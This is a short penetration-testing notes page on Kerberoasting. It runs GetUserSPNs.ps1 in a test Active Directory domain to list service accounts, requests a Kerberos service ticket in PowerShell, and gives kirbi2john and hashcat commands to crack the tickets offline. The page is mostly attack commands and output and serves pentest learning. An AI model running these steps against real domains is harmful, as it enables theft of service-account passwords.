> For the complete documentation index, see [llms.txt](https://cel1s0.gitbook.io/offsec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cel1s0.gitbook.io/offsec-notes/readme/windows/useful-ps-scripts/getuserspns.ps1.md).

# GetUserSPNs.ps1

<https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1>

```
PS C:\Users\Administrator\Desktop> .\GetUserSPNs.ps1

ServicePrincipalName : HTTP/ExchangeService.test.com
Name                 : ExchangeService
SAMAccountName       : ExchangeService
MemberOf             : 
PasswordLastSet      : 1/1/1970 0:00:01 AM

ServicePrincipalName : HTTP/ExtMail.test.com
Name                 : extmailservice
SAMAccountName       : extmailservice
MemberOf             : 
PasswordLastSet      : 1/1/1970 0:00:01 AM

ServicePrincipalName : kadmin/changepw
Name                 : krbtgt
SAMAccountName       : krbtgt
MemberOf             : CN=Denied RODC Password Replication 
                       Group,CN=Users,DC=test,DC=com
PasswordLastSet      : 1/1/1970 0:00:01 AM

ServicePrincipalName : MSSQLSvc/test-app.test.com:1433
Name                 : SQLServer
SAMAccountName       : sqlServer
MemberOf             : 
PasswordLastSet      : 1/1/1970 0:00:01 AM

PS C:\Users\Administrator\Desktop> Add-Type -AssemblyName System.IdentityModel
PS C:\Users\Administrator\Desktop> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/test-app23.test.com:1433"
```

We need to transfer .kirbi files to local machine for cracking step.

```
./kirbi2john.py ....kirbi > hash.txt

hashcat -m 13100 -a 0 hash.txt rockyou.txt --force
```